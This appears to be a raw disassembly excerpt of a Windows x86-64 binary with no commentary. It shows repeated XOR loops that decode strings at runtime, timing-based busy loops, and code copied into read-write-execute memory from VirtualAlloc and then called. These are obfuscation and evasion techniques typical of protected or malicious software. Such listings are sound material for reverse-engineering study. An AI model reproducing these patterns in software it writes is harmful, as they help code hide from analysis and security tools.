pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140206be0
cmp r9d, 0x4f
jge 0x140206e2f
movsxd rax, r9d
lea r10, [rsp + 0x670]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x140206de0
xorps xmm0, xmm0
movups xmmword [rsp + 0x398], xmm0
mov qword [rsp + 0x3a8], rsi
mov qword [rsp + 0x3b0], rsi
lea rax, [rsp + 0x670]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140206e55
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x398]
call fcn.1401d4c30
lea rcx, [rsp + 0x398]
call fcn.1401c8710
movups xmm0, xmmword [0x140262b10]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x140262b20]
movups xmmword [rsp + 0x8d0], xmm1
movups xmm0, xmmword [0x140262b30]
movups xmmword [rsp + 0x8e0], xmm0
movups xmm1, xmmword [0x140262b40]
movups xmmword [rsp + 0x8f0], xmm1
movups xmm0, xmmword [0x140262b50]
movups xmmword [rsp + 0x900], xmm0
movups xmm1, xmmword [0x140262b60]
movups xmmword [rsp + 0x910], xmm1
movups xmm0, xmmword [0x140262b70]
movups xmmword [rsp + 0x920], xmm0
movups xmm1, xmmword [0x140262b80]
movups xmmword [rsp + 0x930], xmm1
mov eax, dword [0x140262b90]
mov dword [rsp + 0x940], eax
movzx eax, word [0x140262b94]
mov word [rsp + 0x944], ax
mov r9d, esi
cmp ebx, 2
jl 0x140207148
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x8c4]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x140206f53
cmp r9d, 0x86
jge 0x1402071b2
movsxd rax, r9d
lea r10, [rsp + 0x8c0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x140207160
xorps xmm0, xmm0
movups xmmword [rsp + 0x5b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5c8], xmm1
lea rax, [rsp + 0x8c0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1402071d4
lea rdx, [rsp + 0x8c0]
lea rcx, [rsp + 0x5b8]
call fcn.1401d4c30
nop
lea rcx, [rsp + 0x5b8]
call fcn.1401c6640
nop
lea rcx, [rsp + 0x5b8]
call fcn.140210af0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xada4], 0xffffffff
mov dword [rsp + 0x9a24], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x9a24], eax
inc rdx
cmp rdx, 0x270
jb 0x140207230
mov dword [rsp + 0x9a20], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020727f
imul rax, rax, 0x64
jmp 0x14020729a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0x50], rax
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402072c6
imul rax, rax, 0x64
jmp 0x1402072e1
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1402074c2
mov qword [rsp + 0xa8], 0x186a0
mov edi, 1
nop dword [rax + rax]
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020733b
nop dword [rax + rax]
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140207320
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, edi
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020739b
cmp eax, 0x64
jae 0x14020739b
nop dword [rax]
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140207380
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x1402073fc
cmp eax, 0x64
jae 0x1402073fc
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402073e1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14020746e
cmp eax, 0x64
jae 0x14020746e
nop word [rax + rax]
lea rcx, [rsp + 0x9a20]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140207450
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0xa8], rdi
jne 0x140207300
mov rdi, qword [rsp + 0x50]
jmp 0x1402072a8
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [str.8_____346_r]
movups xmmword [rsp + 0x620], xmm0
movups xmm1, xmmword [0x1402627b0]
movups xmmword [rsp + 0x630], xmm1
movups xmm0, xmmword [0x1402627c0]
movups xmmword [rsp + 0x640], xmm0
movups xmm1, xmmword [0x1402627d0]
movups xmmword [rsp + 0x650], xmm1
mov eax, dword [0x1402627e0]
mov dword [rsp + 0x660], eax
movzx eax, word [0x1402627e4]
mov word [rsp + 0x664], ax
movzx eax, byte [0x1402627e6]
mov byte [rsp + 0x666], al
mov r9d, esi
cmp dword [0x140275008], 2
lea rdi, [0x1401c4960]
jl 0x140207764
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x624]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265170]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265240]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x140207575
cmp r9d, 0x47
jge 0x1402077cf
movsxd rax, r9d
lea r10, [rsp + 0x620]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x140207780
xorps xmm0, xmm0
movups xmmword [rsp + 0x598], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5a8], xmm1
lea rax, [rsp + 0x620]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1402077f1
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x598]
call fcn.1401d4c30
nop
lea rcx, [rsp + 0x598]
call fcn.1401c6640
nop
lea rcx, [rsp + 0x598]
call fcn.140210af0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xe8], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xe38], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xe40], r12
mov qword [rsp + 0xe48], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe38], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140281430]
test rax, rax
je 0x1402078ba
mov r8, rsi
lea rdx, [0x140212d30]
nop
cmp rax, rdx
je 0x1402078a9
inc ecx
mov r8d, ecx
mov rax, qword [r15 + rcx*8 + 0x281430]
test rax, rax
jne 0x140207890
jmp 0x1402078ba
mov r8, qword [r15 + r8*8 + 0x283a30]
test r8, r8
jne 0x1402079a6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402078e1
mov r8, rsi
jmp 0x14020797e
lea rax, [0x140212d30]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402078f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140281da0]
lea rcx, [0x140212d30]
mov qword [r15 + rax*8 + 0x281430], rcx
mov qword [r15 + rax*8 + 0x283a30], r8
inc rax
mov qword [0x140281da0], rax
lea rdx, [rsp + 0xe8]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe38], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
movups xmm0, xmmword [str._88r52._5_]
movups xmmword [rsp + 0x4f8], xmm0
movups xmm1, xmmword [0x140263ff8]
movups xmmword [rsp + 0x508], xmm1
movups xmm0, xmmword [0x140264008]
movups xmmword [rsp + 0x518], xmm0
movsd xmm0, qword [0x140264018]
movsd qword [rsp + 0x528], xmm0
movzx eax, byte [0x140264020]
mov byte [rsp + 0x530], al
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x140207c4f
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x4fc]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140207a60
cmp r9d, 0x39
jge 0x140207caf
movsxd rax, r9d
lea r10, [rsp + 0x4f8]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x140207c60
xorps xmm0, xmm0
movups xmmword [rsp + 0x578], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x588], xmm1
lea rax, [rsp + 0x4f8]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140207cd1
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x578]
call fcn.1401d4c30
nop
lea rcx, [rsp + 0x578]
call fcn.1401c6640
nop
lea rcx, [rsp + 0x578]
call fcn.140210af0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xec], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xd88], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xd90], r12
mov qword [rsp + 0xd98], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xd88], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140281430]
test rax, rax
je 0x140207d9a
mov r8, rsi
lea rdx, [0x140212d30]
nop
cmp rax, rdx
je 0x140207d89
inc ecx
mov r8d, ecx
mov rax, qword [r15 + rcx*8 + 0x281430]
test rax, rax
jne 0x140207d70
jmp 0x140207d9a
mov r8, qword [r15 + r8*8 + 0x283a30]
test r8, r8
jne 0x140207e86
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140207dc1
mov r8, rsi
jmp 0x140207e5e
lea rax, [0x140212d30]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140207dd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140281da0]
lea rcx, [0x140212d30]
mov qword [r15 + rax*8 + 0x281430], rcx
mov qword [r15 + rax*8 + 0x283a30], r8
inc rax
mov qword [0x140281da0], rax
lea rdx, [rsp + 0xec]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xd88], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
movups xmm0, xmmword [0x1402639d8]
movups xmmword [rsp + 0x6f8], xmm0
movups xmm1, xmmword [0x1402639e8]
movups xmmword [rsp + 0x708], xmm1
movups xmm0, xmmword [0x1402639f8]
movups xmmword [rsp + 0x718], xmm0
movsd xmm0, qword [0x140263a08]
movsd qword [rsp + 0x728], xmm0
cmp dword [0x140275008], 2
jl 0x140208117
mov edx, esi
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
